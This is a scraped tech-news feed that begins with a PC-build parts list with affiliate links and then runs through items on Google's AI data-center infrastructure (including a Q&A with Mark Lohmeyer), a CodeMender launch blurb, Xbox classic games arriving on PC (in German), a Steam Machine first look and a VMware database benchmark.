Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6<br />
B&H: https://bhpho.to/4ubyfa7<br />
<br />
Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2<br />
Amazon: https://amzn.to/49SZug7<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G<br />
<br />
Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)<br />
Amazon: https://amzn.to/4bSOyBO<br />
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N<br />
B&H: https://bhpho.to/4bpm9m9<br />
<br />
Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
Amazon: https://amzn.to/4pTv8QB<br />
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN<br />
B&H: https://bhpho.to/40dqbYK<br />
<br />
Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)<br />
Amazon: https://amzn.to/3NNmKos<br />
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB<br />
B&H: https://bhpho.to/46HyuQb<br />
<br />
Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)<br />
Amazon: https://amzn.to/4bTH8yd<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO<br />
B&H: https://bhpho.to/4d3Fyu8<br />
<br />
Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
Amazon: https://amzn.to/4qSDWHG<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO<br />
B&H: https://bhpho.to/3N1pqPq<br />
<br />
Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)<br />
Amazon: https://amzn.to/3YWIbG7<br />
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z<br />
B&H: https://bhpho.to/4uaSzs9<br />
<br />
Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)<br />
Amazon: https://amzn.to/4rzKNpN<br />
Best Buy: https://bestbuycreators.7tiv.net/55OBVD<br />
B&H: https://bhpho.to/46KcvYO <br />
<br />
 Turning Cable Chaos Into Cable Management Dreams<br />
00:42 What Does a Power Supply Do?<br />
02:04 Why This Build Uses a 1000W PSU<br />
03:12 Fully Modular Power Supplies Explained <br />
04:10 Identifying Every Power Cable<br />
05:16 Installing the PSU<br />
06:42 Subscribe & Patreon Shoutout<br />
07:33 Connecting the 24-Pin Motherboard Cable<br />
08:36 CPU Power Connectors<br />
09:53 Cable Routing Tips<br />
11:02 SATA Power & Accessories<br />
11:54 Cable Management Basics<br />
13:07 Next Episode Preview<br />
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<title><![CDATA[Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities]]></title>
<description><![CDATA[Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from…
Read more →
The po...]]></description>
<link>https://tsecurity.de/de/3689138/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689138/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 15:14:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/">Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Steam Machine with SteamOS Linux - initial thoughts]]></title>
<description><![CDATA[Good news everyone, I now have a Steam Machine in the GamingOnLinux house and I have some initial thoughts.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3689103/linux-tipps/steam-machine-with-steamos-linux-initial-thoughts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689103/linux-tipps/steam-machine-with-steamos-linux-initial-thoughts/</guid>
<pubDate>Thu, 23 Jul 2026 15:00:44 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Good news everyone, I now have a Steam Machine in the GamingOnLinux house and I have some initial thoughts.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/984076198id29435gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/steam-machine-with-steamos-linux-initial-thoughts/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
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<title><![CDATA[Microsoft hat gerade mein Lieblingsspiel aus der alten Xbox-Ära für den PC veröffentlicht]]></title>
<description><![CDATA[Wir schreiben das Jahr 2003. Ich bin ein Neuntklässler und spiele auf der Original-Xbox mit einem Controller, der ungefähr so groß ist wie eine Servierplatte. Ich besitze Halo und  Dead or Alive 3 und bin von der Grafik völlig begeistert. Das nächste Spiel, das ich mir kaufe, ist Crimson Skies, e...]]></description>
<link>https://tsecurity.de/de/3689084/it-nachrichten/microsoft-hat-gerade-mein-lieblingsspiel-aus-der-alten-xbox-aera-fuer-den-pc-veroeffentlicht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689084/it-nachrichten/microsoft-hat-gerade-mein-lieblingsspiel-aus-der-alten-xbox-aera-fuer-den-pc-veroeffentlicht/</guid>
<pubDate>Thu, 23 Jul 2026 14:49:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Wir schreiben das Jahr 2003. Ich bin ein Neuntklässler und spiele auf der Original-Xbox mit einem Controller, der ungefähr so groß ist wie eine Servierplatte. Ich besitze <em>Halo </em>und  <em>Dead or Alive 3</em> und bin von der Grafik völlig begeistert. Das nächste Spiel, das ich mir kaufe, ist <em>Crimson Skies</em>, ein arcadeartiges Luftkampfspiel, das alternative Geschichte mit Abenteuer-Pulp verbindet und über eine wirklich hervorragende Steuerung verfügt.</p>



<p>Seit über 20 Jahren versuche ich nun, dieses Gefühl – wenn schon nicht genau diese Erfahrung – wieder aufleben zu lassen. </p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

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<p>Die meisten der Blockbuster-Titel aus dem ursprünglichen Xbox-Sortiment können Sie bereits jetzt auf dem PC spielen, darunter auch <em>Halo</em>, für das sowohl ein Remaster als auch ein Remake in Vorbereitung sind. Einige der eher nischenorientierten Titel waren jedoch schon seit sehr, sehr langer Zeit nicht mehr erhältlich, mit Ausnahme einiger weniger, die Sie über den Game Pass streamen können.</p>



<p>Microsoft hat beschlossen, einige dieser weniger bekannten Klassiker – und vielleicht auch ein paar, die dem Begriff „Klassiker“ nicht ganz gerecht werden – in Form vollständiger Portierungen für PC-Spieler verfügbar zu machen.</p>



<h2 class="wp-block-heading">Xbox-„Klassiker“ erhalten PC-Ports</h2>



<p>Das Unternehmen nennt dies „<a href="https://news.xbox.com/en-us/2026/07/22/xbox-backward-compatibility-on-pc/">Xbox-Abwärtskompatibilität auf dem PC</a>“. Der Start erfolgt mit vier Spielen, weitere sollen in Kürze folgen. Diese Spiele laufen lokal auf Ihrem Windows-PC, offenbar ohne jegliche Emulation (oder falls eine Emulation stattfindet, wird dies nicht ausdrücklich erwähnt), wobei bestimmte Mindestsystemanforderungen gelten, darunter eine GTX 950- oder Radeon RX 550-Grafikkarte. Grundsätzlich sollte jeder PC, der in den letzten sechs oder sieben Jahren auf den Markt gekommen ist, diese Anforderungen erfüllen, einschließlich Laptops und Handhelds mit integrierter Grafik.</p>



<p>Zu den ersten Titeln gehört <em>Crimson Skies: High Road to Revenge</em>, von dem ich erst später erfuhr, dass es sich um eine ausschließlich für Konsolen veröffentlichte Fortsetzung eines früheren PC-Spiels handelt. Es kostet zehn Euro – erstaunlich günstig in einer Welt, in der Microsoft 40 Euro für eine Wieder-Wieder-Wiederveröffentlichung von <em>Skyrim </em>verlangt<em>.</em></p>



<p>Ich habe es sofort gekauft und wollte es herunterladen … doch das geht nicht, da es laut der Xbox-App für Windows nur per Streaming über den Game Pass verfügbar ist.</p>



<p>Microsoft gibt an, dass man die neueste Version des Xbox-Insider-Builds benötigt, über die ich bereits verfüge. Dies scheint eine schrittweise Einführung zu sein – ein häufiges Problem bei Funktionen, die von der Xbox-Windows-App abhängig sind. Ich bin etwas verärgert, dass ich es nicht sofort ausprobieren kann.</p>



<p>Das bedeutet auch, dass es nahezu unmöglich sein wird, das Spiel auf einem SteamOS-basierten Gerät zu spielen. Was für mich persönlich sehr schade ist, <a href="https://www.pcwelt.de/article/3194800/steam-machine-im-praxistest-ganz-nett-aber-leider-enttaeuschend.html" target="_blank" rel="noreferrer noopener">da ich gerade erst eine Steam Machine gekauft habe</a>. Ich werde diesen Artikel aktualisieren, sobald ich das Spiel zum Laufen gebracht habe.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a620da47251c"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/image_552da1.png?w=1200" alt="ROG Xbox Ally X playing Crimson Skies" class="wp-image-3197144" width="1200" height="675" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Microsoft</p></div>



<p>Die weiteren Titel sind <em>Blinx: The Time Sweeper</em>, einer der frühen Versuche, der Xbox ein Maskottchen-Plattformspiel zu geben, <em>Conker: Live &amp; Reloaded</em>, ein Remake des N64-Kuriosums <em>Conker’s Bad Fur Day</em>, das<em> </em>nach der Übernahme von Rare durch Microsoft entstand, sowie das extrem für die 2000er Jahre typische Partyspiel <em>Fusion Frenzy</em>. Alle vier waren Teil von Microsofts anfänglicher Veröffentlichungsoffensive für die Xbox, und <em>Blinx </em>sowie<em> Crimson Skies </em>sind zudem über den Game Pass verfügbar.</p>



<p>Ich bin mir sicher, dass es vielen PC-Spielern genauso geht wie mir und sie an mindestens eines dieser Spiele schöne Erinnerungen haben. Insbesondere <em>Blinx</em> bot einige sehr interessante Spielkonzepte, die auf älteren Konsolen nicht möglich waren – ermöglicht durch die interne 8-GB-Festplatte der Xbox, ein entscheidender Unterschied zur Playstation 2 und anderen Konsolen. Weitere Spiele sollen angeblich in Zukunft in die Xbox-Abwärtskompatibilität aufgenommen werden, wobei nicht genau angegeben wurde, um welche es sich dabei handelt.</p>



<h2 class="wp-block-heading">Tiefgreifende Probleme bei Xbox bleiben bestehen</h2>



<p>Doch ich fürchte, ich muss die Stimmung hier zum Schluss etwas trüben. Die Xbox als Plattform und als Geschäftsbereich von Microsoft befindet sich in einer prekären Lage: Sie kann im Wettbewerb mit der Playstation nicht mithalten, wird von Valve mit Steam und SteamOS unter Druck gesetzt und entlässt Tausende von Mitarbeitern aus ihrem riesigen, kostspieligen Bestand an Entwicklern und Publishern. Xbox muss dringend Spieler zurückgewinnen, die nach den massiven Preiserhöhungen für den Game Pass und die Xbox-Hardware möglicherweise zögern, der Plattform noch zu vertrauen.</p>



<p>Diese nostalgischen Neuzugänge für den PC folgen kurz nach Gerüchten über ein neues <em>Fallout-</em>Spiel des bei Fans beliebten Entwicklers (und der Microsoft-Tochter) Obsidian, der stark von Entlassungen betroffen war. Es liegt nahe, beide Schritte als Versuch zu betrachten, das Ruder herumzureißen und/oder die Spieler dazu zu bringen, die tiefgreifenden Probleme innerhalb von Xbox und Microsoft insgesamt zu vergessen. Dazu wird es jedoch mehr als eine 23 Jahre alte Portierung brauchen.</p>

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<title><![CDATA[We Asked an Independent Lab to Time Us. Here’s What They Found.]]></title>
<description><![CDATA[A new Principled Technologies benchmark tested VMware Data Services Manager 9.1 against manual PostgreSQL operations across five real world scenarios. It’s Tuesday afternoon. A developer submits a ticket requesting a new PostgreSQL HA cluster for a pre-production environment. Your DBA opens vCent...]]></description>
<link>https://tsecurity.de/de/3689034/downloads/we-asked-an-independent-lab-to-time-us-heres-what-they-found/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689034/downloads/we-asked-an-independent-lab-to-time-us-heres-what-they-found/</guid>
<pubDate>Thu, 23 Jul 2026 14:32:09 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="167" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg 1376w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=300,167 300w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=768,429 768w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=1024,572 1024w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=600,335 600w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>A new Principled Technologies benchmark tested VMware Data Services Manager 9.1 against manual PostgreSQL operations across five real world scenarios. It’s Tuesday afternoon. A developer submits a ticket requesting a new PostgreSQL HA cluster for a pre-production environment. Your DBA opens vCenter, deploys three VMs from the gold template, SSHs into each node, regenerates machine … <a href="https://blogs.vmware.com/cloud-foundation/2026/07/23/we-asked-an-independent-lab-to-time-us-heres-what-they-found/">Continued</a></p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/07/23/we-asked-an-independent-lab-to-time-us-heres-what-they-found/">We Asked an Independent Lab to Time Us. Here’s What They Found.</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Google transforms its data center architecture for agent era]]></title>
<description><![CDATA[Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than t...]]></description>
<link>https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">onslaught of agents</a>. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.</p>



<p class="wp-block-paragraph">“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager for AI and computing infrastructure at Google.</p>



<p class="wp-block-paragraph">Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.</p>



<p class="wp-block-paragraph">In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">agents could increase inference transactions</a> by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.</p>



<p class="wp-block-paragraph">“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Efficient data flow is key so agents can act, reason, and decide faster. </p>



<p class="wp-block-paragraph">Google adjusted the <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">Google Kubernetes Engine</a> into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made drastic improvements to its silicon to support its middleware changes. It recently <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">introduced new AI chips</a>, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.</p>



<p class="wp-block-paragraph">The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new CPU called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">Axion N4A</a> is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made many network and storage improvements to cut training and inference time. A new technology called <a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPUDirect</a> can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">A networking technology called Virgo</a> can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new technology called <a href="https://docs.cloud.google.com/ai-hypercomputer/docs/workloads/pathways-on-cloud/pathways-intro">Pathways</a> is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.</p>



<p class="wp-block-paragraph">“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.</p>



<h2 class="wp-block-heading">Weighing Google’s AI data-center stack</h2>



<p class="wp-block-paragraph">Google is the only provider with its own data centers, software, hardware and models, said <a href="https://www.linkedin.com/in/jckgld/">Jack Gold</a>, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.</p>



<p class="wp-block-paragraph">Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.</p>



<p class="wp-block-paragraph">“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.</p>



<p class="wp-block-paragraph">But <a href="https://www.linkedin.com/in/logan-wolfe/">Logan Wolfe</a>, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.</p>



<p class="wp-block-paragraph">The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.</p>



<p class="wp-block-paragraph">“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.</p>
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<title><![CDATA[Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities]]></title>
